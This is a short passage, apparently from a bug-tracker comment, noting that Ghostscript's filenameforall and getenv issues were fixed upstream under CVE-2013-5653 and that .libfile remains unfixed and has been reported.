filenameforall was fixed as part of this:

  http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=ab109aaeb3ddba59518b036fb288402a65cf7ce8
  http://bugs.ghostscript.com/show_bug.cgi?id=694724

This also covers getenv and has already been assigned CVE-2013-5653.

.libfile is not yet fixed upstream.  I reported this upstream:
